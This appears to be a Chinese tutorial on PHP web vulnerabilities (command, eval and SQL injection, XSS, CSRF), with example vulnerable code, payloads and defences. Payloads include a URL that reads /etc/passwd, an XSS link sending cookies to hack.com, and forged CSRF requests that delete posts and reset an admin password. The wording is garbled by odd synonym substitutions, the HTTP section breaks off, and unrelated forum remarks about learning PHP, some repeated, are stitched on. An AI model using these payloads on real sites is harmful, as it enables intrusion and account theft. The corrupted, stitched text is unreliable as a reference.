PHP编程：PHP破绽全解

算是1个熟悉的过程，所以c语言的基础有就更好，没有也不怕。    号令注入进击
PHP中可使用以下5个函数来履行内部的使用法式或函数
system、exec、passthru、shell_exec、“(与shell_exec功效不异)
函数原型
string system(string command, int &return_var)
         command 要履行的号令
         return_var 寄存履行号令的履行后的形态值
string exec (string command, array &output, int &return_var)
         command 要履行的号令
         output 取得履行号令输入的每行字符串
         return_var 寄存履行号令后的形态值
void passthru (string command, int &return_var)
         command 要履行的号令
         return_var 寄存履行号令后的形态值
string shell_exec (string command)
         command 要履行的号令
破绽实例
例1:
//ex1.php
<?php
$dir = $_GET["dir"];
if (isset($dir))
{
         echo "<pre>";
         system("ls -al ".$dir);
         echo "</pre>";
}
?>
咱们提交http://www.sectop.com/ex1.php?dir= cat /etc/passwd
提交今后，号令酿成了 system("ls -al cat /etc/passwd");

登录/注册后可看大图

eval注入进击
eval函数将输出的字符串参数看成PHP法式代码来履行
函数原型:
mixed eval(string code_str) //eval注入普通产生在进击者能掌握输出的字符串的时分
//ex2.php
<?php
$var = "var";
if (isset($_GET["arg"]))
{
         $arg = $_GET["arg"];
         eval("\$var = $arg;");
         echo "\$var =".$var;
}
?>
当咱们提交 http://www.sectop.com/ex2.php?arg=phpinfo();破绽就发生了
静态函数
<?php
func A()
{
         dosomething();
}
func B()
{
         dosomething();
}
if (isset($_GET["func"]))
{
         $myfunc = $_GET["func"];
         echo $myfunc();
}
?>
法式员原意是想静态挪用A和B函数，那咱们提交http://www.sectop.com/ex.php?func=phpinfo 破绽发生
提防办法
1、尽可能不要履行内部号令
2、利用自界说函数或函数库来替换内部号令的功效
3、利用escapeshellarg函数来处置号令参数
4、利用safe_mode_exec_dir指定可履行文件的途径
esacpeshellarg函数会将任何引发参数或号令停止的字符本义，单引号“’”，交换成“\’”，双引号“"”，交换成“\"”，分号“;”交换成“\;”
用safe_mode_exec_dir指定可履行文件的途径，可以把会利用的号令提早放入此途径内
safe_mode = On
safe_mode_exec_di r= /usr/local/php/bin/
  
客户端剧本植入
  
  客户端剧本植入(Script Insertion)，是指将可以履行的剧本拔出到表单、图片、动画或超链接文字等对象内。当用户翻开这些对象后，进击者所植入的剧本就会被履行，进而入手下手进击。
可以被用作剧本植入的HTML标签普通包含以下几种:
1、<script>标签标志的javascript和vbscript等页面剧本法式。在<script>标签内可以指定js法式代码，也能够在src属性内指定js文件的URL途径
2、<object>标签标志的对象。这些对象是java applet、多媒体文件和ActiveX控件等。凡是在data属性内指定对象的URL途径
3、<embed>标签标志的对象。这些对象是多媒体文件，例如:swf文件。凡是在src属性内指定对象的URL途径
4、<applet>标签标志的对象。这些对象是java applet，凡是在codebase属性内指定对象的URL途径
5、<form>标签标志的对象。凡是在action属性内指定要处置表双数据的web使用法式的URL途径
  客户端剧本植入的进击步调
1、进击者注册通俗用户后上岸网站
2、翻开留言页面，拔出进击的js代码
3、其他用户登录网站（包含办理员），阅读此留言的内容
4、埋没在留言内容中的js代码被履行，进击胜利

登录/注册后可看大图

  实例
数据库
CREATE TABLE `postmessage` (
   `id` int(11) NOT NULL auto_increment,
   `subject` varchar(60) NOT NULL default ”,
   `name` varchar(40) NOT NULL default ”,
   `email` varchar(25) NOT NULL default ”,
   `question` mediumtext NOT NULL,
   `postdate` datetime NOT NULL default ’0000-00-00 00:00:00&prime;,
   PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=gb2312 COMMENT=’利用者的留言’ AUTO_INCREMENT=69 ;
//add.php 拔出留言
//list.php 留言列表
//show.php 显示留言
  提交下图的留言

登录/注册后可看大图

  阅读此留言的时分会履行js剧本
拔出 <script>while(1){windows.open();}</script> 无穷弹框
拔出<script>location.href="http://www.sectop.com";</script> 跳转垂纶页面
或利用其他自行机关的js代码停止进击
  提防的办法
普通利用htmlspecialchars函数来将特别字符转换成HTML编码
函数原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要编码的字符串
quote_style 可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES，默许值ENT_COMPAT，暗示只转换双引号不转换单引号。ENT_QUOTES，暗示双引号和单引号都要转换。ENT_NOQUOTES，暗示双引号和单引号都不转换
charset 可选,暗示利用的字符集
函数会将以下特别字符转换成html编码:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >
把show.php的第98行改成
<?php echo htmlspecialchars(nl2br($row['question']), ENT_QUOTES); ?>
然后再检查拔出js的破绽页面

登录/注册后可看大图

   
  XSS跨站剧本进击
   
  XSS(Cross Site Scripting)，意为跨网站剧本进击，为了和款式表CSS(Cascading Style Sheet)区分，缩写为XSS
跨站剧本次要被进击者使用来读取网站用户的cookies或其他团体数据，一旦进击者失掉这些数据，那末他就能够假装成此用户来登录网站，取得此用户的权限。
跨站剧本进击的普通步调:
1、进击者以某种体例发送xss的http链接给方针用户
2、方针用户登录此网站，在上岸时代翻开了进击者发送的xss链接
3、网站履行了此xss进击剧本
4、方针用户页面跳转到进击者的网站，进击者获得了方针用户的信息
5、进击者利用方针用户的信息登录网站，完成进击

登录/注册后可看大图

  当有存在跨站破绽的法式呈现的时分，进击者可以机关相似 http://www.sectop.com/search.php?key=<script>document.location=’http://www.hack.com/getcookie.php?cookie=’+document.cookie;</script> ，拐骗用户点击后，可以获得用户cookies值
提防办法:
使用htmlspecialchars函数将特别字符转换成HTML编码
函数原型
string htmlspecialchars (string string, int quote_style, string charset)
         string 是要编码的字符串
         quote_style 可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES，默许值ENT_COMPAT，暗示只转换双引号不转换单引号。ENT_QUOTES，暗示双引号和单引号都要转换。ENT_NOQUOTES，暗示双引号和单引号都不转换
         charset 可选,暗示利用的字符集
函数会将以下特别字符转换成html编码:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >
  $_SERVER["PHP_SELF"]变量的跨站
在某个表单中，假如提交参数给本人，会用如许的语句
<form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST">
……
</form>
$_SERVER["PHP_SELF"]变量的值为以后页面称号
例:
http://www.sectop.com/get.php
get.php中上述的表单
那末咱们提交
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>
那末表单酿成
<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">
跨站剧本被插出来了
进攻办法仍是利用htmlspecialchars过滤输入的变量，或提交给本身文件的表单利用
<form action="" method="post">
如许直接防止了$_SERVER["PHP_SELF"]变量被跨站
   
  SQL注入进击
   
  SQL注入进击(SQL Injection)，是进击者在表单中提交精心机关的sql语句，修改本来的sql语句，假如web法式没有对提交的数据经由反省，那末就会形成sql注入进击。
  　　SQL注入进击的普通步调:
  　　1、进击者会见有SQL注入破绽的站点，寻觅注入点
  　　2、进击者机关注入语句，注入语句和法式中的SQL语句联合生成新的sql语句
  　　3、新的sql语句被提交到数据库中履行 处置
  　　4、数据库履行了新的SQL语句，激发SQL注入进击

登录/注册后可看大图

  　实例
  　　数据库
  　　CREATE TABLE `postmessage` (
  　　`id` int(11) NOT NULL auto_increment,
  　　`subject` varchar(60) NOT NULL default ”,
  　　`name` varchar(40) NOT NULL default ”,
  　　`email` varchar(25) NOT NULL default ”,
  　　`question` mediumtext NOT NULL,
  　　`postdate` datetime NOT NULL default ’0000-00-00 00:00:00&prime;,
  　　PRIMARY KEY  (`id`)
  　　) ENGINE=MyISAM  DEFAULT CHARSET=gb2312 COMMENT=’应用者的留言’ AUTO_INCREMENT=69 ;
  　　grant all privileges on ch3.* to ‘sectop’@localhost identified by ’123456&prime;;
  　　//add.php 拔出留言
  　　//list.php 留言列表
  　　//show.php 显示留言
  　　页面 http://www.netsos.com.cn/show.php?id=71 能够存在注入点，咱们来测试
  　　http://www.netsos.com.cn/show.php?id=71 and 1=1
  　　前往页面
   
  

登录/注册后可看大图

　
  提交

登录/注册后可看大图

  　　一次查询到纪录，一次没有，咱们来看看源码
  　　//show.php 12-15行
  　　// 履行mysql查询语句
  　　$query = "select * from postmessage where id = ".$_GET["id"];
  　　$result = mysql_query($query)
  　　or die("履行ySQL查询语句掉败：" . mysql_error());
  　　参数id传递出去后，和后面的字符串联合的sql语句放入数据库履行 查询
  　　提交 and 1=1，语句酿成select * from postmessage where id = 71 and 1=1 这语句前值后值都为真，and今后也为真，前往查询到的数据
  　　提交 and 1=2，语句酿成select * from postmessage where id = 71 and 1=2 这语句前值为真，后值为假，and今后为假，查询不就任何数据
  　　正常的SQL查询，经由咱们机关的语句以后，构成了SQL注入进击。经由过程这个注入点，咱们还可以进一步拿到权限，好比说应用 union读取办理暗码，读取数据库信息，或用mysql的load_file，into outfile等函数进一步浸透。
  提防办法
  　　整型参数:
  　　应用 intval函数将数据转换成整数
  　　函数原型
  　　int intval(mixed var, int base)
  　　        var是要转换成整形的变量
  　　        base，可选，是基本数，默许是10
  　　浮点型参数:
  　　应用 floatval或doubleval函数分离转换单精度和双精度浮点型参数
  　　函数原型
  　　int floatval(mixed var)
  　　        var是要转换的变量
  　    int doubleval(mixed var)
  　　        var是要转换的变量
  　　字符型参数:
  　　应用 addslashes函数来将单引号“’”转换成“\’”，双引号“"”转换成“\"”，反斜杠“\”转换成“\\”，NULL字符加上反斜杠“\”
  　　函数原型
  　　string addslashes (string str)
  　　        str是要反省的字符串
  　　那末方才呈现的代码破绽，咱们可以如许修补
  　　// 履行mysql查询语句
  　　$query = "select * from postmessage where id = ".intval($_GET["id"]);
  　　$result = mysql_query($query)
  or die("履行ySQL查询语句掉败：" . mysql_error());
   
  　　假如是字符型，先判别magic_quotes_gpc能没法 为On,当不为On的时分应用 addslashes本义特别字符
  　　if(get_magic_quotes_gpc())
  　　{
  　　$var = $_GET["var"];
  　　}
  　　else
  　　{
  　　$var = addslashes($_GET["var"]);
  　　}
  　　再次测试，破绽已修补
   
  垮网站捏造恳求
   
  CSRF(Cross Site Request Forgeries)，意为跨网站恳求捏造，也有写为XSRF。进击者捏造方针用户的HTTP恳求，然后此恳求发送到有CSRF破绽的网站，网站履行此恳求后，激发跨站恳求捏造进击。进击者使用荫蔽的HTTP毗连，让方针用户在不注重的情形下单击这个链接，因为是用户本人点击的，而他又是正当用户具有正当权限，所以方针用户可以在网站内履行特定的HTTP链接，从而到达进击者的目标。
例如:某个购物网站购置商品时，采取http://www.shop.com/buy.php?item=watch&num=1，item参数肯定要购置甚么物品，num参数肯定要购置数目，假如进击者以埋没的体例发送给方针用户链接
<img src="http://www.shop.com/buy.php?item=watch&num=1000"/>，那末假如方针用户不当心会见今后，购置的数目就成了1000个
  实例
随缘收集PHP留言板V1.0
  恣意删除留言
//delbook.php 此页面用于删除留言
<?php
include_once("dlyz.php");    //dlyz.php用户验证权限，当权限是admin的时分方可删除留言
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="delete from book where id in (".$ID_Dele.")";
mysql_query($sql);
}
else
{
$sql="delete from book where id=".$id; //传递要删除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo "<script language=’javascript’>";
echo "alert(‘删除胜利！’);";
echo " location=’book.php’;";
echo "</script>";
?>
当咱们具有admin权限，提交http://localhost/manage/delbook.php?id=2 时，就会删除id为2的留言
使用办法:
咱们利用通俗用户留言（源代码体例），内容为
<img src="delbook.php?id=2" />
  <img src="delbook.php?id=3" />
  <img src="delbook.php?id=4" />
  <img src="delbook.php?id=5" />
拔出4张图片链接分离删除4个id留言，然后咱们前往首页阅读看，没有甚么变更。。图片显示不了
如今咱们再用办理员账号上岸后，来刷新首页，会发明留言就剩一条，其他在图片链接中指定的ID号的留言，全体都被删除。
进击者在留言中拔出埋没的图片链接，此链接具有删除留言的感化，而进击者本人会见这些图片链接的时分，是不具有权限的，所以看不就任何后果，然而当办理员上岸后，检查此留言，就会履行埋没的链接，而他的权限又是足够大的，从而这些留言就被删除
修正办理员暗码
//pass.php
if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>设计制造：<a href=http://www.115cn.cn>厦门随缘收集科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1";
}
else
{
$sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language=’javascript’>";
echo "alert(‘修正胜利！’);";
echo " location=’pass.php’;";
echo "</script>";
}
这个文件用于修正办理暗码和网站设置的一些信息，咱们可以直接机关以下表单:
<body>
<form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1">
<input type="radio" value="1"  name="sh">
<input type="radio" name="sh" checked value="0">
<input type="text" name="username" value="root">
<input type="password" name="password" value="root">
<input type="text"  name="title"  value="随缘收集PHP留言板V1.0(带审核功效)" >
<textarea  name="gg"  rows="6" cols="80" >接待您装置利用随缘收集PHP留言板V1.0(带审核功效)！</textarea>
<textarea  name="copyright"  rows="6" cols="80" >随缘收集PHP留言本V1.0  版权一切：厦门随缘收集科技 2005-2009<br/>承接网站建立及体系定制 供应优惠主机域名</textarea>
</form>
</body>
存为attack.html，放到本人网站上http://www.sectop.com/attack.html，此页面会见后会主动向方针法式的pass.php提交参数，用户名修正为root，暗码修正为root，然后咱们去留言板发一条留言，埋没这个链接，办理会见今后，他的用户名和暗码全体修正成了root
  提防办法
提防CSRF要比提防其他进击加倍坚苦，由于CSRF的HTTP恳求固然是进击者捏造的，然而倒是由方针用户收回的，普通罕见的提防办法有上面几种:
1、反省网页的来历
2、反省内置的埋没变量
3、利用POST，不要利用GET
反省网页来历
在//pass.php头部到场以下白色字体代码，验证数据提交
  if($_GET["act"])
{
if(isset($_SERVER["HTTP_REFERER"]))
{
         $serverhost = $_SERVER["SERVER_NAME"];
         $strurl   = str_replace("http://","",$_SERVER["HTTP_REFERER"]);  
         $strdomain = explode("/",$strurl);           
         $sourcehost    = $strdomain[0];              
         if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
         {
                 unset($_POST);
                 echo "<script language=’javascript’>";
                 echo "alert(‘数据来历异常!’);";
       &
nbsp;         echo " location=’index.php’;";
                 echo "</script>";
         }
}
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>设计制造：<a href=http://www.115cn.cn>厦门随缘收集科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1";
}
else
{
$sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language=’javascript’>";
echo "alert(‘修正胜利！’);";
echo " location=’pass.php’;";
echo "</script>";
}
反省内置埋没变量
咱们在表单中内置一个埋没变量和一个session变量，然后反省这个埋没变量和session变量是不是相等，以此来判别是不是统一个网页所挪用
<?php
include_once("dlyz.php");
include_once("../conn.php");
if($_GET["act"])
{
if (!isset($_SESSION["post_id"]))
{
          // 生成独一的ID，并利用MD5来加密
          $post_id = md5(uniqid(rand(), true));
          // 创立Session变量
          $_SESSION["post_id"] = $post_id;
}
// 反省是不是相等
if (isset($_SESSION["post_id"]))
{
          // 不相等
          if ($_SESSION["post_id"] != $_POST["post_id"])
          {
                   // 排除POST变量
                   unset($_POST);
                   echo "<script language=’javascript’>";
                   echo "alert(‘数据来历异常!’);";
                   echo " location=’index.php’;";         
                   echo "</script>";
          }
}
  ……
      <input type="reset" name="Submit2" value="重  置">
<input type="hidden" name="post_id" value="<?php echo $_SESSION["post_id"];?>">
</td></tr>
   </table>
</form>
<?php
}
mysql_close($conn);
?>
</body>
</html>
利用POST，不要利用GET
传递表单字段时，必定如果用POST，不要利用GET，处置变量也不要直接利用$_REQUEST
   
  http呼应拆分
   
  HTTP恳求的格局
  1）恳求信息：例如“Get /index.php HTTP/1.1”，恳求index.php文件
  2）表头：例如“Host: localhost”，暗示办事器地址
  3）空白行
  4）信息注释
  “恳求信息”和“表头”都必需利用换行字符（CRLF）来开头，空白行只能包括换行符，不成以有其他空格符。
  上面例子发送HTTP恳求给办事器www.yhsafe.com
  GET /index.php HTTP/1.1L        //恳求信息   
  Host:www.yhsafe.comL      //表头
L                                                     //空格行 L     L符号暗示回车键，在空白行以后还要在按一个空格才会发送HTTP恳求，HTTP恳求的表头中只要Host表头是需要的饿，其他的HTTP表头则是依据HTTP恳求的内容而定。   HTTP恳求的办法 1）GET：恳求呼应 2）HEAD：与GET不异的呼应，只需求呼应表头 3）POST：发送数据给办事器处置，数据包括在HTTP信息注释中 4）PUT：上传文件 5）DELETE：删除文件 6）TRACE：追踪收到的恳求 7）OPTIONS：前往办事器所撑持的HTTP恳求的办法 8）CONNECT：将HTTP恳求的毗连转换成通明的TCP/IP通道   HTTP呼应的格局 办事器在处置完客户端所提出的HTTP恳求后，会发送以下呼应。 1）第一行是形态码 2）第二行入手下手是其他信息 形态码包括一个标识形态的数字和一个描写形态的单词。例如： HTTP/1.1 200 OK 200是标识形态的是数字，OK则是描写形态的单词，这个形态码标识恳求胜利。  HTTP恳求和呼应的例子
  翻开cmd输出telnet，输出open www.00aq.com 80
  翻开毗连后输出
  GET /index.php HTTP/1.1L      
  Host:www.00aq.comL     
L                                                L

登录/注册后可看大图

前往HTTP呼应的表头  

登录/注册后可看大图

  前往的首页内容
  利用PHP来发送HTTP恳求
  header函数可以用来发送HTTP恳求和呼应的表头
  函数原型
  void header(string string [, bool replace [, int http_response_code]])
当然你可以把你最基本的功能放出来的时候就放出来，比如放到论坛上，让大家都参与，

当留言板完成的时候，下步可以把做1个单人的blog程序，做为目标，

Apache不是非得用80或者8080端口的，我刚开始安得时候就是80端口老占用，就用了个 81端口，结果照常，就是输localhost的时候，应该输入为 localhost:81

首推的搜索引擎当然是Google大神，其次我比较喜欢 百度知道。不过搜出来的结果往往都是 大家copy来copy去的，运气的的概率很大。

对于懒惰的朋友，我推荐php的集成环境xampp或者是wamp。这两个软件安装方便，使用简单。但是我还是强烈建议自己动手搭建开发环境。

这些都是最基本最常用功能，我们这些菜鸟在系统学习后，可以先对这些功能深入研究。

当然这种网站的会员费就几十块钱。

不禁又想起那些说php是草根语言的人，为什么认得差距这么大呢。

小鸟是第一次发帖（我习惯潜水的(*^__^*) 嘻嘻……），有错误之处还请大家批评指正，另外，前些日子听人说有高手能用php写驱动程序，真是学无止境，人外有人，天外有天。

刚开始安装php的时候，我图了个省事，把php的扩展全都打开啦（就是把php.ini 那一片 extension 前面的冒号全去掉啦），这样自然有好处，以后不用再需要什么功能再来打开。

说点我烦的低级错误吧，曾经有次插入mysql的时间 弄了300年结果老报错，其实mysql的时间是有限制的，大概是到203X年  具体的记不清啦，囧。

因为blog这样的可以让你接触更多要学的知识，可以接触用到类，模板，js ，ajax

你很难利用原理去编写自己的代码。对于php来说，系统的学习我认为还是很重要的，当你有一定理解后，你可你针对某种效果研究，我想那时你不会只是复制代码的水平了。

说点我烦的低级错误吧，曾经有次插入mysql的时间 弄了300年结果老报错，其实mysql的时间是有限制的，大概是到203X年  具体的记不清啦，囧。

使用zendstdio 写代码的的时候，把tab 的缩进设置成4个空格是很有必要的

如果你已经到这种程度了，那么你已经可以做我的老师了。其实php也分很多的区域，

做为1门年轻的语言，php一直很努力。

有时候汉字的空格也能导致页面出错，所以在写代码的时候，要输入空格最好用引文模式。

其实也不算什么什么心得，在各位大侠算是小巫见大巫了吧，望大家不要见笑，若其中有错误的地方请各位大虾斧正。

在学习的过程中不能怕麻烦，不能有懒惰的思想。学习php首先应该搭建一个lamp环境或者是wamp环境。这是学习php开发的根本。虽然网络上有很多集成的环境，安装很方便，使用起来也很稳定、